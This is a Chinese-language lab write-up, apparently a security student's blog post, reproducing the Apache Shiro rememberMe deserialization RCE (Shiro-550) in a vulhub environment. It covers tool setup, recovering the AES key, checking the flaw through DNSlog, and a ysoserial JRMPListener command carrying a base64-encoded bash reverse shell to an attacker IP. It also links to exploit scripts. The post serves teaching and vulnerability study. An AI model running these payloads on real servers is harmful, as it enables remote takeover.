Shiro rememberMe反序列化漏洞(Shiro-550)复现 – 作者:东塔安全学院

本文由 东塔网络安全学院学员—邵同学 投稿。

1 漏洞原理

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。Payload产生的过程:命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值。

2 影响版本

Apache Shiro < 1.2.4

3 特征判断

返回包中包含rememberMe=deleteMe字段。

4 漏洞复现

环境搭建:

安装Apache Shiro

使用vulhub,在docker环境下直接搭建,具体过程不再赘述。

安装maven,用来编译ysoserial.jar

sudo wget https://mirrors.tuna.tsinghua.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz

tar -zxvf apache-maven-3.6.3-bin.tar.gz

在/etc/profile末尾添加maven环境变量:

export M2_HOME=/usr/local/maven3

export PATH=$PATH:$JAVA_HOME/bin:$M2_HOME/bin

source /etc/profile

Java环境:

使用JDK1.8版本,其他版本可能出现无法编译工具的问题。

下载编译

git clone https://github.com/frohoff/ysoserial.git

cd ysoserial(进入对应的安装目录)

mvn package -D skipTests(使用命令进行编译)

漏洞验证:

使用shiro_key.py脚本获取密钥:

python shiro_key.py -u url

图片[1]-Shiro rememberMe反序列化漏洞(Shiro-550)复现 – 作者:东塔安全学院-安全小百科

图片[2]-Shiro rememberMe反序列化漏洞(Shiro-550)复现 – 作者:东塔安全学院-安全小百科

得到密钥,替换payload生成脚本中的key

图片[3]-Shiro rememberMe反序列化漏洞(Shiro-550)复现 – 作者:东塔安全学院-安全小百科

使用dnslog验证漏洞是否存在。

图片[4]-Shiro rememberMe反序列化漏洞(Shiro-550)复现 – 作者:东塔安全学院-安全小百科

在登陆页面进行登录,勾选记住密码,抓包,替换cookie为脚本生成的payload,发送数据包:

python shiro_1.2.4.py “command”

图片[5]-Shiro rememberMe反序列化漏洞(Shiro-550)复现 – 作者:东塔安全学院-安全小百科
图片[6]-Shiro rememberMe反序列化漏洞(Shiro-550)复现 – 作者:东塔安全学院-安全小百科

DNSLog收到结果,证明漏洞存在。

图片[7]-Shiro rememberMe反序列化漏洞(Shiro-550)复现 – 作者:东塔安全学院-安全小百科

反弹shell:

执行以下命令在本地监听6666端口,此端口用来和服务器端执行的exp开启的端口建立通信:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 ‘bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjI0MS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}’

在bash…..,-1}中的代码为实际反弹shell命令,在建立端口号为6666连接后,通过该连接发送给服务器,反弹shell,语句为:

bash -i >& dev/tcp/192.168.10.241(攻击机IP)/7777(shell监听端口) 0>&1

这里提供一个命令转化网址:https://x.hacking8.com/?post=293

图片[8]-Shiro rememberMe反序列化漏洞(Shiro-550)复现 – 作者:东塔安全学院-安全小百科

在本地打开监听7777端口的进程,使用payload生成脚本生成连接本地ysoserial监听程序的exp,替换发送。

生成payload命令:python shiro1.2.4_py 监听机ip:端口号

图片[9]-Shiro rememberMe反序列化漏洞(Shiro-550)复现 – 作者:东塔安全学院-安全小百科
图片[10]-Shiro rememberMe反序列化漏洞(Shiro-550)复现 – 作者:东塔安全学院-安全小百科

反弹shell成功

图片[11]-Shiro rememberMe反序列化漏洞(Shiro-550)复现 – 作者:东塔安全学院-安全小百科

Poc脚本:

Key:

https://github.com/insightglacier/Shiro_exploit

命令执行:

https://github.com/jas502n/SHIRO-550/blob/master/shiro_rce.py

来源:freebuf.com 2020-12-03 09:32:45 by: 东塔安全学院

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论